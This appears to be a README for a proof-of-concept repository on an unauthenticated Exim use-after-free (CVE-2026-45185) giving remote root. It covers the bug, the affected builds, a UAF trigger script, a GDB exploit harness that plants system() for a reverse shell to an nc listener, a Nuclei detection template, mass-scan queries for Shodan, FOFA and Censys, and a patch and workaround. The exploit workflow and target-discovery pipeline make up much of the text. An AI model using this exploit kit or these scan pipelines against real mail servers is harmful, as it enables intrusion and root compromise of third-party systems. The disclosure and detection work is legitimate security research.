CVE-2026-45185 — Dead.Letter: Exim Heap UAF to Remote Root

CVSS 9.8 Critical | Exim 4.97–4.99.2 | Ubuntu / GnuTLS builds | Unauthenticated

Full write-up with GDB trace, step-by-step analysis, and global exposure data:
https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html

---

What is it

Sending a TLS close_notify alert while Exim is mid-BDAT body transfer causes tls_close() to call gnutls_deinit(), freeing the 7,304-byte gnutls_session_int struct. The BDAT receive layer holds a stale pointer. When the body-read loop resumes, tls_getbuf → gnutls_record_recv dereferences the freed session — heap use-after-free, pre-authentication, no credentials required.

Fixed in Exim 4.99.3.

---

Affected

Condition	Required
Exim version	4.97, 4.97.x, 4.98, 4.98.x, 4.99.0, 4.99.1, 4.99.2
Build	Ubuntu / Debian with GnuTLS (libgnutls28-dev)
Feature	CHUNKING advertised in EHLO (on by default)

Alpine Linux and self-compiled Exim linked against OpenSSL are not affected.

---

Files

File	Purpose
poc.py	UAF trigger — stdlib only, no pip. Safe to run against your own servers. Reaches the UAF path and stops (no payload).
diag19_gdb.py	GDB exploit harness — 7 breakpoints, writes system() into freed chunk after gnutls_deinit() returns. Lab only (requires ASLR off + matched library versions).
CVE-2026-45185.yaml	Nuclei template — detects all three preconditions via EHLO fingerprint + BDAT probe. Safe, read-only detection.

---

poc.py — UAF trigger

python3 poc.py <host> <port> <rcpt@domain>

# example
python3 poc.py mail.example.com 587 postmaster@example.com

If the server stays alive after the trigger, the UAF path exists. If it crashes, something has changed in tcache behavior.

---

diag19_gdb.py — GDB harness (lab only)

Docker lab setup (5 minutes)

# 1. Pull Ubuntu 22.04 + install Exim 4.97 with GnuTLS
docker run -it --name exim4-lab ubuntu:22.04 bash
apt-get update && apt-get install -y exim4 gdb python3

# 2. Disable ASLR (required for hardcoded addresses)
echo 0 | tee /proc/sys/kernel/randomize_va_space

# 3. Configure Exim — enable CHUNKING + STARTTLS, listen on all interfaces
dpkg-reconfigure exim4-config   # choose "internet site", accept defaults

# 4. Start Exim under GDB with harness loaded
gdb -q -x /path/to/diag19_gdb.py --args /usr/sbin/exim4 -bd -d

# 5. In another terminal, run the trigger
python3 poc.py 127.0.0.1 25 user@localhost

# 6. Start a listener for the reverse shell
nc -lvp 4444

Before running: edit CMD in diag19_gdb.py to point to your listener IP.
The SYSTEM address is resolved dynamically at load — no manual lookup needed.
The two addresses inside PostTlsCloseFin (lwr_receive_getbuf, tls_getbuf) are Exim-internal and must match your build:

(gdb) p &lwr_receive_getbuf
(gdb) p tls_getbuf

---

CVE-2026-45185.yaml — Nuclei detection

# Single target
nuclei -t CVE-2026-45185.yaml -u mail.target.com -v

# Target list
nuclei -t CVE-2026-45185.yaml -l smtp-hosts.txt

# Mass scan from Shodan results
shodan search '"Exim 4.97" "Ubuntu" "CHUNKING" port:25' --fields ip_str,port | \
  awk '{print $1":"$2}' > targets.txt
nuclei -t CVE-2026-45185.yaml -l targets.txt

Detection logic

The template runs two independent stages:

1. EHLO fingerprint — sends EHLO, matches on all three required conditions:

   • Version regex 4.97–4.99.2
   • Ubuntu in banner (GnuTLS linkage confirmed)
   • CHUNKING in capabilities

2. BDAT probe — sends BDAT 200 without RCPT TO, matches Exim's specific 503:

   503 valid RCPT command must precede BDAT
   

Mass scan queries

# Shodan
"Exim 4.97" "Ubuntu" "CHUNKING" port:25,587

# FOFA
banner="Exim 4.97" && banner="Ubuntu" && banner="CHUNKING" && (port="25" || port="587")

# Censys
services.smtp.banner:"Exim 4.97" and services.smtp.banner:"Ubuntu"

---

Remediation

Upgrade to Exim 4.99.3 or later (official patch).

Workaround (no exploit path, no restart required for testing):

# exim4.conf
chunking_advertise_hosts = !*

Then service exim4 restart.

---

Timeline

Date	Event
2026-06-10	CVE assigned by XBOW
2026-06-24	Public advisory released
2026-08-07	Lab RCE confirmed; this write-up + PoC published

---

References

• Write-up: https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html
• XBOW advisory: https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-45185

---

by @0Init